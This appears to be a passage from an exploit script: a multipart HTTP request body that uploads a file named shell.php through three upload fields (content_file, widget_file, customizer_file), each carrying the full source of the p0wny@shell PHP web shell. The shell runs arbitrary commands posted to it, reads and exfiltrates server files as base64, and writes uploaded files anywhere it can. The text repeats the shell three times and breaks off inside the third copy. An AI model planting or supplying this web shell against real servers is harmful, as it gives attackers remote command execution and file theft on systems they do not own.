+ "\r\n-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"selected\"\r\n\r\nundefined\r\n-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"content_file\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n border-radius: 8px;\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n background-color: #bcbcbc;\n }\n\n #shell {\n background: #222;\n max-width: 800px;\n margin: 50px auto 0 auto;\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n font-size: 10pt;\n display: flex;\n flex-direction: column;\n align-items: stretch;\n }\n\n #shell-content {\n height: 500px;\n overflow: auto;\n padding: 5px;\n white-space: pre-wrap;\n flex-grow: 1;\n }\n\n #shell-logo {\n font-weight: bold;\n color: #FF4180;\n text-align: center;\n }\n\n @media (max-width: 991px) {\n #shell-logo {\n font-size: 6px;\n margin: -25px 0;\n }\n\n html, body, #shell {\n height: 100%;\n width: 100%;\n max-width: none;\n }\n\n #shell {\n margin-top: 0;\n }\n }\n\n @media (max-width: 767px) {\n #shell-input {\n flex-direction: column;\n }\n }\n\n @media (max-width: 320px) {\n #shell-logo {\n font-size: 5px;\n }\n }\n\n .shell-prompt {\n font-weight: bold;\n color: #75DF0B;\n }\n\n .shell-prompt > span {\n color: #1BC9E7;\n }\n\n #shell-input {\n display: flex;\n box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n border-top: rgba(255, 255, 255, .05) solid 1px;\n }\n\n #shell-input > label {\n flex-grow: 0;\n display: block;\n padding: 0 5px;\n height: 30px;\n line-height: 30px;\n }\n\n #shell-input #shell-cmd {\n height: 30px;\n line-height: 30px;\n border: none;\n background: transparent;\n color: #eee;\n font-family: monospace;\n font-size: 10pt;\n width: 100%;\n align-self: center;\n }\n\n #shell-input div {\n flex-grow: 1;\n align-items: stretch;\n }\n\n #shell-input input {\n outline: none;\n }\n </style>\n\n <script>\n var CWD = null;\n var commandHistory = [];\n var historyPosition = 0;\n var eShellCmdInput = null;\n var eShellContent = null;\n\n function _insertCommand(command) {\n eShellContent.innerHTML += \"\\n\\n\";\n eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n eShellContent.innerHTML += escapeHtml(command);\n eShellContent.innerHTML += \"\\n\";\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _insertStdout(stdout) {\n eShellContent.innerHTML += escapeHtml(stdout);\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _defer(callback) {\n setTimeout(callback, 0);\n }\n\n function featureShell(command) {\n\n _insertCommand(command);\n if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n } else if (/^\\s*clear\\s*$/.test(command)) {\n // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n eShellContent.innerHTML = '';\n } else {\n makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n if (response.hasOwnProperty('file')) {\n featureDownload(response.name, response.file)\n } else {\n _insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n }\n });\n }\n }\n\n function featureHint() {\n if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete\n\n function _requestCallback(data) {\n if (data.files.length <= 1) return; // no completion\n\n if (data.files.length === 2) {\n if (type === 'cmd') {\n eShellCmdInput.value = data.files[0];\n } else {\n var currentValue = eShellCmdInput.value;\n eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n }\n } else {\n _insertCommand(eShellCmdInput.value);\n _insertStdout(data.files.join(\"\\n\"));\n }\n }\n\n var currentCmd = eShellCmdInput.value.split(\" \");\n var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n makeRequest(\n \"?feature=hint\",\n {\n filename: fileName,\n cwd: CWD,\n type: type\n },\n _requestCallback\n );\n\n }\n\n function featureDownload(name, file) {\n var element = document.createElement('a');\n element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n element.setAttribute('download', name);\n element.style.display = 'none';\n document.body.appendChild(element);\n element.click();\n document.body.removeChild(element);\n _insertStdout('Done.');\n }\n\n function featureUpload(path) {\n var element = document.createElement('input');\n element.setAttribute('type', 'file');\n element.style.display = 'none';\n document.body.appendChild(element);\n element.addEventListener('change', function () {\n var promise = getBase64(element.files[0]);\n promise.then(function (file) {\n makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n _insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n });\n }, function () {\n _insertStdout('An unknown client-side error occurred.');\n });\n });\n element.click();\n document.body.removeChild(element);\n }\n\n function getBase64(file, onLoadCallback) {\n return new Promise(function(resolve, reject) {\n var reader = new FileReader();\n reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n reader.onerror = reject;\n reader.readAsDataURL(file);\n });\n }\n\n function genPrompt(cwd) {\n cwd = cwd || \"~\";\n var shortCwd = cwd;\n if (cwd.split(\"/\").length > 3) {\n var splittedCwd = cwd.split(\"/\");\n shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n }\n return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n }\n\n function updateCwd(cwd) {\n if (cwd) {\n CWD = cwd;\n _updatePrompt();\n return;\n }\n makeRequest(\"?feature=pwd\", {}, function(response) {\n CWD = response.cwd;\n _updatePrompt();\n });\n\n }\n\n function escapeHtml(string) {\n return string\n .replace(/&/g, \"&\")\n .replace(/</g, \"<\")\n .replace(/>/g, \">\");\n }\n\n function _updatePrompt() {\n var eShellPrompt = document.getElementById(\"shell-prompt\");\n eShellPrompt.innerHTML = genPrompt(CWD);\n }\n\n function _onShellCmdKeyDown(event) {\n switch (event.key) {\n case \"Enter\":\n featureShell(eShellCmdInput.value);\n insertToHistory(eShellCmdInput.value);\n eShellCmdInput.value = \"\";\n break;\n case \"ArrowUp\":\n if (historyPosition > 0) {\n historyPosition--;\n eShellCmdInput.blur();\n eShellCmdInput.value = commandHistory[historyPosition];\n _defer(function() {\n eShellCmdInput.focus();\n });\n }\n break;\n case \"ArrowDown\":\n if (historyPosition >= commandHistory.length) {\n break;\n }\n historyPosition++;\n if (historyPosition === commandHistory.length) {\n eShellCmdInput.value = \"\";\n } else {\n eShellCmdInput.blur();\n eShellCmdInput.focus();\n eShellCmdInput.value = commandHistory[historyPosition];\n }\n break;\n case 'Tab':\n event.preventDefault();\n featureHint();\n break;\n }\n }\n\n function insertToHistory(cmd) {\n commandHistory.push(cmd);\n historyPosition = commandHistory.length;\n }\n\n function makeRequest(url, params, callback) {\n function getQueryString() {\n var a = [];\n for (var key in params) {\n if (params.hasOwnProperty(key)) {\n a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n }\n }\n return a.join(\"&\");\n }\n var xhr = new XMLHttpRequest();\n xhr.open(\"POST\", url, true);\n xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n xhr.onreadystatechange = function() {\n if (xhr.readyState === 4 && xhr.status === 200) {\n try {\n var responseJson = JSON.parse(xhr.responseText);\n callback(responseJson);\n } catch (error) {\n alert(\"Error while parsing response: \" + error);\n }\n }\n };\n xhr.send(getQueryString());\n }\n\n document.onclick = function(event) {\n event = event || window.event;\n var selection = window.getSelection();\n var target = event.target || event.srcElement;\n\n if (target.tagName === \"SELECT\") {\n return;\n }\n\n if (!selection.toString()) {\n eShellCmdInput.focus();\n }\n };\n\n window.onload = function() {\n eShellCmdInput = document.getElementById(\"shell-cmd\");\n eShellContent = document.getElementById(\"shell-content\");\n updateCwd();\n eShellCmdInput.focus();\n };\n </script>\n </head>\n\n <body>\n <div id=\"shell\">\n <pre id=\"shell-content\">\n <div id=\"shell-logo\">\n ___ ____ _ _ _ _ _ <span></span>\n _ __ / _ \\__ ___ __ _ _ / __ \\ ___| |__ ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_ .. _|<span></span>\n| |_) | |_| |\\ V V /| | | | |_| | | (_| \\__ \\ | | | __/ | |_ |_ _|<span></span>\n| .__/ \\___/ \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_) |_||_| <span></span>\n|_| |___/ \\____/ <span></span>\n </div>\n </pre>\n <div id=\"shell-input\">\n <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n <div>\n <input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n </div>\n </div>\n </div>\n </body>\n\n</html>\n\r\n-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"widget_file\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n border-radius: 8px;\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n background-color: #bcbcbc;\n }\n\n #shell {\n background: #222;\n max-width: 800px;\n margin: 50px auto 0 auto;\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n font-size: 10pt;\n display: flex;\n flex-direction: column;\n align-items: stretch;\n }\n\n #shell-content {\n height: 500px;\n overflow: auto;\n padding: 5px;\n white-space: pre-wrap;\n flex-grow: 1;\n }\n\n #shell-logo {\n font-weight: bold;\n color: #FF4180;\n text-align: center;\n }\n\n @media (max-width: 991px) {\n #shell-logo {\n font-size: 6px;\n margin: -25px 0;\n }\n\n html, body, #shell {\n height: 100%;\n width: 100%;\n max-width: none;\n }\n\n #shell {\n margin-top: 0;\n }\n }\n\n @media (max-width: 767px) {\n #shell-input {\n flex-direction: column;\n }\n }\n\n @media (max-width: 320px) {\n #shell-logo {\n font-size: 5px;\n }\n }\n\n .shell-prompt {\n font-weight: bold;\n color: #75DF0B;\n }\n\n .shell-prompt > span {\n color: #1BC9E7;\n }\n\n #shell-input {\n display: flex;\n box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n border-top: rgba(255, 255, 255, .05) solid 1px;\n }\n\n #shell-input > label {\n flex-grow: 0;\n display: block;\n padding: 0 5px;\n height: 30px;\n line-height: 30px;\n }\n\n #shell-input #shell-cmd {\n height: 30px;\n line-height: 30px;\n border: none;\n background: transparent;\n color: #eee;\n font-family: monospace;\n font-size: 10pt;\n width: 100%;\n align-self: center;\n }\n\n #shell-input div {\n flex-grow: 1;\n align-items: stretch;\n }\n\n #shell-input input {\n outline: none;\n }\n </style>\n\n <script>\n var CWD = null;\n var commandHistory = [];\n var historyPosition = 0;\n var eShellCmdInput = null;\n var eShellContent = null;\n\n function _insertCommand(command) {\n eShellContent.innerHTML += \"\\n\\n\";\n eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n eShellContent.innerHTML += escapeHtml(command);\n eShellContent.innerHTML += \"\\n\";\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _insertStdout(stdout) {\n eShellContent.innerHTML += escapeHtml(stdout);\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _defer(callback) {\n setTimeout(callback, 0);\n }\n\n function featureShell(command) {\n\n _insertCommand(command);\n if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n } else if (/^\\s*clear\\s*$/.test(command)) {\n // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n eShellContent.innerHTML = '';\n } else {\n makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n if (response.hasOwnProperty('file')) {\n featureDownload(response.name, response.file)\n } else {\n _insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n }\n });\n }\n }\n\n function featureHint() {\n if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete\n\n function _requestCallback(data) {\n if (data.files.length <= 1) return; // no completion\n\n if (data.files.length === 2) {\n if (type === 'cmd') {\n eShellCmdInput.value = data.files[0];\n } else {\n var currentValue = eShellCmdInput.value;\n eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n }\n } else {\n _insertCommand(eShellCmdInput.value);\n _insertStdout(data.files.join(\"\\n\"));\n }\n }\n\n var currentCmd = eShellCmdInput.value.split(\" \");\n var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n makeRequest(\n \"?feature=hint\",\n {\n filename: fileName,\n cwd: CWD,\n type: type\n },\n _requestCallback\n );\n\n }\n\n function featureDownload(name, file) {\n var element = document.createElement('a');\n element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n element.setAttribute('download', name);\n element.style.display = 'none';\n document.body.appendChild(element);\n element.click();\n document.body.removeChild(element);\n _insertStdout('Done.');\n }\n\n function featureUpload(path) {\n var element = document.createElement('input');\n element.setAttribute('type', 'file');\n element.style.display = 'none';\n document.body.appendChild(element);\n element.addEventListener('change', function () {\n var promise = getBase64(element.files[0]);\n promise.then(function (file) {\n makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n _insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n });\n }, function () {\n _insertStdout('An unknown client-side error occurred.');\n });\n });\n element.click();\n document.body.removeChild(element);\n }\n\n function getBase64(file, onLoadCallback) {\n return new Promise(function(resolve, reject) {\n var reader = new FileReader();\n reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n reader.onerror = reject;\n reader.readAsDataURL(file);\n });\n }\n\n function genPrompt(cwd) {\n cwd = cwd || \"~\";\n var shortCwd = cwd;\n if (cwd.split(\"/\").length > 3) {\n var splittedCwd = cwd.split(\"/\");\n shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n }\n return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n }\n\n function updateCwd(cwd) {\n if (cwd) {\n CWD = cwd;\n _updatePrompt();\n return;\n }\n makeRequest(\"?feature=pwd\", {}, function(response) {\n CWD = response.cwd;\n _updatePrompt();\n });\n\n }\n\n function escapeHtml(string) {\n return string\n .replace(/&/g, \"&\")\n .replace(/</g, \"<\")\n .replace(/>/g, \">\");\n }\n\n function _updatePrompt() {\n var eShellPrompt = document.getElementById(\"shell-prompt\");\n eShellPrompt.innerHTML = genPrompt(CWD);\n }\n\n function _onShellCmdKeyDown(event) {\n switch (event.key) {\n case \"Enter\":\n featureShell(eShellCmdInput.value);\n insertToHistory(eShellCmdInput.value);\n eShellCmdInput.value = \"\";\n break;\n case \"ArrowUp\":\n if (historyPosition > 0) {\n historyPosition--;\n eShellCmdInput.blur();\n eShellCmdInput.value = commandHistory[historyPosition];\n _defer(function() {\n eShellCmdInput.focus();\n });\n }\n break;\n case \"ArrowDown\":\n if (historyPosition >= commandHistory.length) {\n break;\n }\n historyPosition++;\n if (historyPosition === commandHistory.length) {\n eShellCmdInput.value = \"\";\n } else {\n eShellCmdInput.blur();\n eShellCmdInput.focus();\n eShellCmdInput.value = commandHistory[historyPosition];\n }\n break;\n case 'Tab':\n event.preventDefault();\n featureHint();\n break;\n }\n }\n\n function insertToHistory(cmd) {\n commandHistory.push(cmd);\n historyPosition = commandHistory.length;\n }\n\n function makeRequest(url, params, callback) {\n function getQueryString() {\n var a = [];\n for (var key in params) {\n if (params.hasOwnProperty(key)) {\n a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n }\n }\n return a.join(\"&\");\n }\n var xhr = new XMLHttpRequest();\n xhr.open(\"POST\", url, true);\n xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n xhr.onreadystatechange = function() {\n if (xhr.readyState === 4 && xhr.status === 200) {\n try {\n var responseJson = JSON.parse(xhr.responseText);\n callback(responseJson);\n } catch (error) {\n alert(\"Error while parsing response: \" + error);\n }\n }\n };\n xhr.send(getQueryString());\n }\n\n document.onclick = function(event) {\n event = event || window.event;\n var selection = window.getSelection();\n var target = event.target || event.srcElement;\n\n if (target.tagName === \"SELECT\") {\n return;\n }\n\n if (!selection.toString()) {\n eShellCmdInput.focus();\n }\n };\n\n window.onload = function() {\n eShellCmdInput = document.getElementById(\"shell-cmd\");\n eShellContent = document.getElementById(\"shell-content\");\n updateCwd();\n eShellCmdInput.focus();\n };\n </script>\n </head>\n\n <body>\n <div id=\"shell\">\n <pre id=\"shell-content\">\n <div id=\"shell-logo\">\n ___ ____ _ _ _ _ _ <span></span>\n _ __ / _ \\__ ___ __ _ _ / __ \\ ___| |__ ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_ .. _|<span></span>\n| |_) | |_| |\\ V V /| | | | |_| | | (_| \\__ \\ | | | __/ | |_ |_ _|<span></span>\n| .__/ \\___/ \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_) |_||_| <span></span>\n|_| |___/ \\____/ <span></span>\n </div>\n </pre>\n <div id=\"shell-input\">\n <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n <div>\n <input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n </div>\n </div>\n </div>\n </body>\n\n</html>\n\r\n-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"customizer_file\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n border-radius: 8px;\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n background-color: #bcbcbc;\n }\n\n #shell {\n background: #222;\n max-width: 800px;\n margin: 50px auto 0 auto;\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n font-size: 10pt;\n display: flex;\n flex-direction: column;\n align-items: stretch;\n }\n\n #shell-content {\n height: 500px;\n overflow: auto;\n padding: 5px;\n white-space: pre-wrap;\n flex-grow: 1;\n }\n\n #shell-logo {\n font-weight: bold;\n color: #FF4180;\n text-align: center;\n }\n\n @media (max-width: 991px) {\n #shell-logo {\n font-size: 6px;\n margin: -25px 0;\n }\n\n html, body, #shell {\n height: 100%;\n width: 100%;\n max-width: none;\n }\n\n #shell {\n margin-top: 0;\n }\n }\n\n @media (max-width: 767px) {\n #shell-input {\n flex-direction: column;\n }\n }\n\n @media (max-width: 320px) {\n #shell-logo {\n font-size: 5px;\n }\n }\n\n .shell-prompt {\n font-weight: bold;\n color: #75DF0B;\n }\n\n .shell-prompt > span {\n color: #1BC9E7;\n }\n\n #shell-input {\n display: flex;\n box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n border-top: rgba(255, 255, 255, .05) solid 1px;\n }\n\n #shell-input > label {\n flex-grow: 0;\n display: block;\n padding: 0 5px;\n height: 30px;\n line-height: 30px;\n }\n\n #shell-input #shell-cmd {\n height: 30px;\n line-height: 30px;\n border: none;\n background: transparent;\n color: #eee;\n font-family: monospace;\n font-size: 10pt;\n width: 100%;\n align-self: center;\n }\n\n #shell-input div {\n flex-grow: 1;\n align-items: stretch;\n }\n\n #shell-input input {\n outline: none;\n }\n </style>\n\n <script>\n var CWD = null;\n var commandHistory = [];\n var historyPosition = 0;\n var eShellCmdInput = null;\n var eShellContent = null;\n\n function _insertCommand(command) {\n eShellContent.innerHTML += \"\\n\\n\";\n eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n eShellContent.innerHTML += escapeHtml(command);\n eShellContent.innerHTML += \"\\n\";\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _insertStdout(stdout) {\n eShellContent.innerHTML += escapeHtml(stdout);\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _defer(callback) {\n setTimeout(callback, 0);\n }\n\n function featureShell(command) {\n\n _insertCommand(command);\n if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n } else if (/^\\s*clear\\s*$/.test(command)) {\n // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n eShellContent.innerHTML = '';\n } else {\n makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n if (response.hasOwnProperty('file')) {\n featureDownload(response.name, response.file)\n } else {\n 